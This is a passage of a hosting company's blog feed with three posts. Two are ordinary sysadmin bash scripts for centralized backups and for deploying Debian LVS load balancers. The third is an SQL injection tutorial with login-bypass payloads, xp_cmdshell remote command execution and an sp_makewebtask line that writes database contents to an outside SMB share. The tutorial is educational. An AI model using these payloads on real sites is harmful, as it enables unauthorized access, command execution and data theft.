&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo -e &quot;Backup completed on $obj0 / $backupname while backing up $obj1 directory&quot; &gt;&gt; /var/log/linux-backup.log<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fi<br />
&nbsp; &nbsp; &nbsp; &nbsp; done<br />
done<br />
<br />
echo &quot;Backup Script Completed.&quot; &gt;&gt; /var/log/linux-backup.log<br />
cat /var/log/linux-backup.log | mail -s &quot;Centralized Backup Complete&quot; topsoperations@topscms.com</div></div>
<p>You could modify this script to keep different daily backups , pruned to keep only X number of days of backups (i.e. only 7 days worth). There is alot you can do here.</p>
<p>If you have a handful of linux or bsd servers that you would like to backup in a centralized location, without having an individual script to maintain on each server, then perhaps you could use or modify this script to suit your needs.</p>
<p>I hope this helps.</p>
<p><a class="a2a_button_digg" href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2011%2F02%2F09%2Fcentralized-remote-backup-script-with-ssh-key-authentication%2F&amp;linkname=Centralized%20remote%20backup%20script%20with%20SSH%20key%20authentication" title="Digg" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2011%2F02%2F09%2Fcentralized-remote-backup-script-with-ssh-key-authentication%2F&amp;linkname=Centralized%20remote%20backup%20script%20with%20SSH%20key%20authentication" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a><a class="a2a_button_reddit" href="http://www.addtoany.com/add_to/reddit?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2011%2F02%2F09%2Fcentralized-remote-backup-script-with-ssh-key-authentication%2F&amp;linkname=Centralized%20remote%20backup%20script%20with%20SSH%20key%20authentication" title="Reddit" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/reddit.png" width="16" height="16" alt="Reddit"/></a><a class="a2a_button_delicious" href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2011%2F02%2F09%2Fcentralized-remote-backup-script-with-ssh-key-authentication%2F&amp;linkname=Centralized%20remote%20backup%20script%20with%20SSH%20key%20authentication" title="Delicious" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a><!--[if IE]><iframe frameborder="0" allowTransparency="true" class="addtoany_special_service google_plusone" src="https://plusone.google.com/u/0/_/%2B1/fastbutton?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2011%2F02%2F09%2Fcentralized-remote-backup-script-with-ssh-key-authentication%2F&amp;size=medium&amp;count=false" scrolling="no" style="border:none;overflow:hidden;width:32px;height:20px"></iframe><![endif]--><!--[if !IE]><!--><iframe class="addtoany_special_service google_plusone" src="https://plusone.google.com/u/0/_/%2B1/fastbutton?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2011%2F02%2F09%2Fcentralized-remote-backup-script-with-ssh-key-authentication%2F&amp;size=medium&amp;count=false" scrolling="no" style="border:none;overflow:hidden;width:32px;height:20px"></iframe><!--<![endif]--><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2011%2F02%2F09%2Fcentralized-remote-backup-script-with-ssh-key-authentication%2F&amp;title=Centralized%20remote%20backup%20script%20with%20SSH%20key%20authentication" id="wpa2a_8"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.stardothosting.com/blog/2011/02/09/centralized-remote-backup-script-with-ssh-key-authentication/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Security Penetration Testing Series : SQL Injection</title>
		<link>http://www.stardothosting.com/blog/2010/11/15/security-penetration-testing-series-sql-injection/</link>
		<comments>http://www.stardothosting.com/blog/2010/11/15/security-penetration-testing-series-sql-injection/#comments</comments>
		<pubDate>Mon, 15 Nov 2010 18:10:29 +0000</pubDate>
		<dc:creator>Kevin</dc:creator>
				<category><![CDATA[Database]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Shell Scripting]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://blog.stardothosting.com/?p=414</guid>
		<description><![CDATA[I am starting a series of blog posts that detail security related strategies, penetration testing and best practice methodologies. To start our series, I am going to delve into the world of SQL injection techniques and a general overview for those who are looking to learn a little more about this method of injection. There [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F11%2F15%2Fsecurity-penetration-testing-series-sql-injection%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F11%2F15%2Fsecurity-penetration-testing-series-sql-injection%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>I am starting a series of blog posts that detail security related strategies, penetration testing and best practice methodologies. To start our series, I am going to delve into the world of SQL injection techniques and a general overview for those who are looking to learn a little more about this method of injection.</p>
<p>There is already quite a bit of documentation out there regarding this, so I hope this post isn&#8217;t too redundant. There are a lot of tools out there to assist in accomplishing this task, or at the very least tools that assist in automating the probing and injection of SQL from publicly facing websites, forms and the like.</p>
<p>That tool is SQLMAP (<a href="http://sqlmap.sourceforge.net/" target="_new">http://sqlmap.sourceforge.net/</a>). SQLMAP is an &#8220;open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of back-end database servers.&#8221;</p>
<p>This article does not introduce anything new, SQL injection has been widely written and used in the wild. I thought I&#8217;d write this article to document some of the SQL injection methods and hope that it may be of use to some of you out there in cyberspace.</p>
<p><b>What is SQL injection anyway?</b></p>
<p>It is a trick to inject SQL query/command as an input possibly via web pages. Many web pages take parameters from web user, and make SQL query to the database. Take for instance when a user login, web page that user name and password and make SQL query to the database to check if a user has valid name and password. With SQL Injection, it is possible for us to send crafted user name and/or password field that will change the SQL query and thus grant us something else. </p>
<p><b>What do you need?</b></p>
<p>Technically all you need is a web browser. </p>
<p><b>What should I look for?</b></p>
<p>Web forms. Any input area of a website that interacts with their database backend. Could be a login form, search form or anything like that.</p>
<p>You could also look for pages that actually have querystrings in the URL such as :</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">http://whatever.com/index.asp?id=10</div></div>
<p><b>Testing if its vulnerable</b></p>
<p>With those query string URLs or web forms, you could do a simple test to see if its vulnerable to injection. Start with the &#8220;single quote trick&#8221; , something like this :</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">hi' or 1=1--</div></div>
<p>For example :</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">http://whatever.com/index.asp?id=hi' or 1=1--</div></div>
<p>If you do that in a login form for example, if it works, then you will be logged in without any password necessary.</p>
<p><b>Why &#8216; or 1=1&#8211;?</b></p>
<p>Let us look at another example why &#8216; or 1=1&#8211; is important. Other than bypassing login, it is also possible to view extra information that is not normally available. Take an asp page that will link you to another page with the following URL:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">http://whatever.com/index.asp?category=food</div></div>
<p>In the URL, &#8216;category&#8217; is the variable name, and &#8216;food&#8217; is the value assigned to the variable. In order to do that, an ASP might contain the following code (OK, this is the actual code that we created for this exercise):</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">v_cat = request(&quot;category&quot;)<br />
sqlstr=&quot;SELECT * FROM product WHERE PCategory='&quot; &amp; v_cat &amp; &quot;'&quot;<br />
set rs=conn.execute(sqlstr)</div></div>
<p>As we can see, our variable will be wrapped into v_cat and thus the SQL statement should become:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">SELECT * FROM product WHERE PCategory='food'</div></div>
<p>The query should return a resultset containing one or more rows that match the WHERE condition, in this case, &#8216;food&#8217;.</p>
<p>Now, assume that we change the URL into something like this:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">http://whatever.com/index.asp?category=food' or 1=1--</div></div>
<p>Now, our variable v_cat equals to &#8220;food&#8217; or 1=1&#8211; &#8220;, if we substitute this in the SQL query, we will have:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">SELECT * FROM product WHERE PCategory='food' or 1=1--'</div></div>
<p>The query now should now select everything from the product table regardless if PCategory is equal to &#8216;food&#8217; or not. A double dash &#8220;&#8211;&#8221; tell MS SQL server ignore the rest of the query, which will get rid of the last hanging single quote (&#8216;). Sometimes, it may be possible to replace double dash with single hash &#8220;#&#8221;.</p>
<p>However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">' or 'a'='a</div></div>
<p>The SQL query will now become:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">SELECT * FROM product WHERE PCategory='food' or 'a'='a'</div></div>
<p>It should return the same result.</p>
<p>Depending on the actual SQL query, you may have to try some of these possibilities:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">' or 1=1--<br />
&quot; or 1=1--<br />
or 1=1--<br />
' or 'a'='a<br />
&quot; or &quot;a&quot;=&quot;a<br />
') or ('a'='a</div></div>
<p><b>Remote execution with SQL injection</b></p>
<p>Being able to inject SQL commands usually means we can execute any SQL query at will.Default installation of MS SQL Server is running as SYSTEM, which is equivalent to Administrator access in Windows. We can use stored procedures like master..xp_cmdshell to perform remote execution:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">'; exec master..xp_cmdshell 'ping 10.10.1.2'--</div></div>
<p>Try using double quote (&#8220;) if single quote (&#8216;) is not working.</p>
<p>The semi colon will end the current SQL query and thus allow you to start a new SQL command. To verify that the command executed successfully, you can listen to ICMP packet from 10.10.1.2, check if there is any packet from the server:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">#tcpdump icmp</div></div>
<p>If you do not get any ping request from the server, and get error message indicating permission error, it is possible that the administrator has limited Web User access to these stored procedures.</p>
<p><b>Getting the output of my SQL query</b></p>
<p>It is possible to use sp_makewebtask to write your query into an HTML:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">'; EXEC master..sp_makewebtask &quot;\\10.10.1.3\share\output.html&quot;, &quot;SELECT * FROM INFORMATION_SCHEMA.TABLES&quot;</div></div>
<p>But the target IP must folder &#8220;share&#8221; sharing for Everyone. </p>
<p>Hope this helps!</p>
<p><a class="a2a_button_digg" href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F11%2F15%2Fsecurity-penetration-testing-series-sql-injection%2F&amp;linkname=Security%20Penetration%20Testing%20Series%20%3A%20SQL%20Injection" title="Digg" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F11%2F15%2Fsecurity-penetration-testing-series-sql-injection%2F&amp;linkname=Security%20Penetration%20Testing%20Series%20%3A%20SQL%20Injection" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a><a class="a2a_button_reddit" href="http://www.addtoany.com/add_to/reddit?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F11%2F15%2Fsecurity-penetration-testing-series-sql-injection%2F&amp;linkname=Security%20Penetration%20Testing%20Series%20%3A%20SQL%20Injection" title="Reddit" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/reddit.png" width="16" height="16" alt="Reddit"/></a><a class="a2a_button_delicious" href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F11%2F15%2Fsecurity-penetration-testing-series-sql-injection%2F&amp;linkname=Security%20Penetration%20Testing%20Series%20%3A%20SQL%20Injection" title="Delicious" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a><!--[if IE]><iframe frameborder="0" allowTransparency="true" class="addtoany_special_service google_plusone" src="https://plusone.google.com/u/0/_/%2B1/fastbutton?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F11%2F15%2Fsecurity-penetration-testing-series-sql-injection%2F&amp;size=medium&amp;count=false" scrolling="no" style="border:none;overflow:hidden;width:32px;height:20px"></iframe><![endif]--><!--[if !IE]><!--><iframe class="addtoany_special_service google_plusone" src="https://plusone.google.com/u/0/_/%2B1/fastbutton?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F11%2F15%2Fsecurity-penetration-testing-series-sql-injection%2F&amp;size=medium&amp;count=false" scrolling="no" style="border:none;overflow:hidden;width:32px;height:20px"></iframe><!--<![endif]--><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F11%2F15%2Fsecurity-penetration-testing-series-sql-injection%2F&amp;title=Security%20Penetration%20Testing%20Series%20%3A%20SQL%20Injection" id="wpa2a_10"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.stardothosting.com/blog/2010/11/15/security-penetration-testing-series-sql-injection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Automatically Deploy Debian Load Balancers with bash scripting</title>
		<link>http://www.stardothosting.com/blog/2010/06/14/automatically-deploy-debian-load-balancers-with-bash-scripting/</link>
		<comments>http://www.stardothosting.com/blog/2010/06/14/automatically-deploy-debian-load-balancers-with-bash-scripting/#comments</comments>
		<pubDate>Mon, 14 Jun 2010 19:58:46 +0000</pubDate>
		<dc:creator>Kevin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Shell Scripting]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[load balancers]]></category>
		<category><![CDATA[scripting]]></category>
		<category><![CDATA[systems automation]]></category>

		<guid isPermaLink="false">http://blog.stardothosting.com/?p=361</guid>
		<description><![CDATA[In yet another post in our automation series, we will share a bash script that automates the deployment of debian based load balancers (specifically with LVS / Linux Virtual Server project). Even though the environments and systems you deploy may start to get more complicated such as with load balancers, there will always be a [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F06%2F14%2Fautomatically-deploy-debian-load-balancers-with-bash-scripting%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F06%2F14%2Fautomatically-deploy-debian-load-balancers-with-bash-scripting%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>In yet another post in our automation series, we will share a bash script that automates the deployment of debian based load balancers (specifically with LVS / <a href="http://www.linuxvirtualserver.org/" target="_new">Linux Virtual Server project</a>).</p>
<p>Even though the environments and systems you deploy may start to get more complicated such as with load balancers, there will always be a baseline level with which these systems can be brought to before further configuration and customization needs to be done. </p>
<p>There are many things that can be automated with this process, as you will see in the script below. In most round-robin load balancing scenarios, there wouldn&#8217;t be much more that needs to be done as far as configuration beyond what this script can do.</p>
<p>Obviously you will likely need to modify the script to suit your needs and requirements for the organization and standards therein.</p>
<p>Hopefully this will help you roll out many debian load balancers! May the load be split evenly between all your systems <img src='http://www.stardothosting.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:300px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">#!/bin/sh</span><br />
<span style="color: #666666; font-style: italic;"># Debian LVS deployer script</span><br />
<span style="color: #666666; font-style: italic;"># Version 1.0</span><br />
<br />
<span style="color: #007800;">PROGNAME</span>=<span style="color: #ff0000;">&quot;$0&quot;</span><br />
<span style="color: #007800;">VERSION</span>=<span style="color: #ff0000;">&quot;1.0&quot;</span><br />
<br />
<span style="color: #666666; font-style: italic;"># working directory for deployer process.</span><br />
<span style="color: #007800;">WORKDIR</span>=<span style="color: #ff0000;">&quot;/root&quot;</span><br />
<br />
<span style="color: #666666; font-style: italic;"># tasks left (this is updated every step to accommodate recovery during</span><br />
<span style="color: #666666; font-style: italic;"># the deployer &nbsp;process)</span><br />
<span style="color: #007800;">TASKS</span>=<span style="color: #ff0000;">&quot;./deploy-lvs.tasks&quot;</span><br />
<br />
init_tasks<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #7a0874; font-weight: bold;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;"># This function will write a new tasks file.</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;"># it's called from the main body of the script if a tasks file does not exist.</span><br />
&nbsp; &nbsp; <span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #007800;">$TASKS</span><span style="color: #000000; font-weight: bold;">&lt;&lt;</span>EOS <span style="color: #000000; font-weight: bold;">||</span> <span style="color: #7a0874; font-weight: bold;">return</span> <span style="color: #000000;">1</span><br />
nopasswd_ssh<br />
add_pkgs<br />
get_lvs<br />
configure_lvs<br />
set_hostname<br />
EOS<br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">return</span> <span style="color: #000000;">0</span><br />
<span style="color: #7a0874; font-weight: bold;">&#125;</span><br />
<br />
installer_splash<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #7a0874; font-weight: bold;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;[+] &nbsp;LVS deployer script starting...&quot;</span><br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot; &nbsp; &nbsp;Version: <span style="color: #007800;">$VERSION</span>&quot;</span><br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">echo</span><br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">return</span> <span style="color: #000000;">0</span><br />
<span style="color: #7a0874; font-weight: bold;">&#125;</span><br />
<br />
nopasswd_ssh<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #7a0874; font-weight: bold;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;"># disable passwd auth on SSH</span><br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;[+] Disabling password authentication for SSH... &quot;</span><br />
&nbsp; &nbsp; <span style="color: #c20cb9; font-weight: bold;">perl</span> <span style="color: #660033;">-pi</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">'s/^PasswordAuthentication yes/PasswordAuthentication no/g'</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>ssh<span style="color: #000000; font-weight: bold;">/</span>sshd_config<br />
&nbsp; &nbsp; <span style="color: #c20cb9; font-weight: bold;">perl</span> <span style="color: #660033;">-pi</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">'s/^#PermitRootLogin yes/PermitRootLogin without-password/g'</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>ssh<span style="color: #000000; font-weight: bold;">/</span>sshd_config<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>init.d<span style="color: #000000; font-weight: bold;">/</span><span style="color: #c20cb9; font-weight: bold;">ssh</span> restart<br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">return</span> <span style="color: #000000;">0</span><br />
<span style="color: #7a0874; font-weight: bold;">&#125;</span><br />
<br />
add_pkgs<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #7a0874; font-weight: bold;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #007800;">PKGS</span>=<span style="color: #ff0000;">&quot;libssl0.9.7 exim4 iproute ethtool tcpdump snmpd pciutils less python&quot;</span><br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;[+] Installing packages: <span style="color: #007800;">$PKGS</span>... &quot;</span><br />
&nbsp; &nbsp; <span style="color: #c20cb9; font-weight: bold;">apt-get</span> <span style="color: #660033;">-y</span> <span style="color: #c20cb9; font-weight: bold;">install</span> <span style="color: #007800;">$PKGS</span> <span style="color: #000000; font-weight: bold;">||</span> <span style="color: #7a0874; font-weight: bold;">return</span> <span style="color: #000000;">1</span><br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">return</span> <span style="color: #000000;">0</span><br />
<span style="color: #7a0874; font-weight: bold;">&#125;</span><br />
<br />
get_lvs<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #7a0874; font-weight: bold;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;[+] Downloading &nbsp;packages... &quot;</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;"># download the latest version of the &nbsp;Client firewall package.</span><br />
&nbsp; &nbsp; <span style="color: #c20cb9; font-weight: bold;">wget</span> <span style="color: #660033;">--no-check-certificate</span> http:<span style="color: #000000; font-weight: bold;">//</span>your.domain.com<span style="color: #000000; font-weight: bold;">/</span>lvs.tgz <span style="color: #660033;">-O</span> <span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>firewall.tgz <span style="color: #000000; font-weight: bold;">||</span> <span style="color: #7a0874; font-weight: bold;">return</span> <span style="color: #000000;">1</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;"># unpack firewall scripts</span><br />
&nbsp; &nbsp; <span style="color: #c20cb9; font-weight: bold;">tar</span> <span style="color: #660033;">--no-same-owner</span> <span style="color: #660033;">--no-same-permissions</span> <span style="color: #660033;">--directory</span> <span style="color: #000000; font-weight: bold;">/</span> <span style="color: #660033;">-zxvf</span> <span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>firewall.tgz <span style="color: #000000; font-weight: bold;">||</span> <span style="color: #7a0874; font-weight: bold;">return</span> <span style="color: #000000;">1</span><br />
&nbsp; &nbsp; <span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>firewall.tgz <span style="color: #000000; font-weight: bold;">||</span> <span style="color: #7a0874; font-weight: bold;">return</span> <span style="color: #000000;">1</span><br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">return</span> <span style="color: #000000;">0</span><br />
<span style="color: #7a0874; font-weight: bold;">&#125;</span><br />
<br />
configure_lvs<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #7a0874; font-weight: bold;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;"># time to configure the &nbsp;FW</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #007800;">KAD</span>=<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>keepalived<span style="color: #000000; font-weight: bold;">/</span>keepalived.conf<br />
&nbsp; &nbsp; <span style="color: #007800;">FW</span>=<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>network<span style="color: #000000; font-weight: bold;">/</span>firewall<br />
&nbsp; &nbsp; <span style="color: #007800;">COMMIT</span>=<span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>bin<span style="color: #000000; font-weight: bold;">/</span>lvs-commit.sh<br />
&nbsp; &nbsp; <span style="color: #007800;">HOSTS</span>=<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>hosts<br />
&nbsp; &nbsp; <span style="color: #007800;">INTERFACES</span>=<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>network<span style="color: #000000; font-weight: bold;">/</span>interfaces<br />
&nbsp; &nbsp; <span style="color: #007800;">NRPE</span>=<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>nagios<span style="color: #000000; font-weight: bold;">/</span>nrpe_local.cfg<br />
&nbsp; &nbsp; <span style="color: #007800;">EXIM</span>=<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>exim4<span style="color: #000000; font-weight: bold;">/</span>update-exim4.conf.conf<br />
&nbsp; &nbsp; <span style="color: #007800;">CONFIGURE_LVS</span>=<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>network<span style="color: #000000; font-weight: bold;">/</span>configure-lvs.pl<br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;[+] Configuring LVS...&quot;</span><br />
&nbsp; &nbsp; <span style="color: #c20cb9; font-weight: bold;">perl</span> <span style="color: #007800;">$CONFIGURE_LVS</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #007800;">$?</span> <span style="color: #660033;">-ne</span> <span style="color: #000000;">0</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;[!] ERROR: Configuring LVS script failed!&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">return</span> <span style="color: #000000;">1</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">fi</span><br />
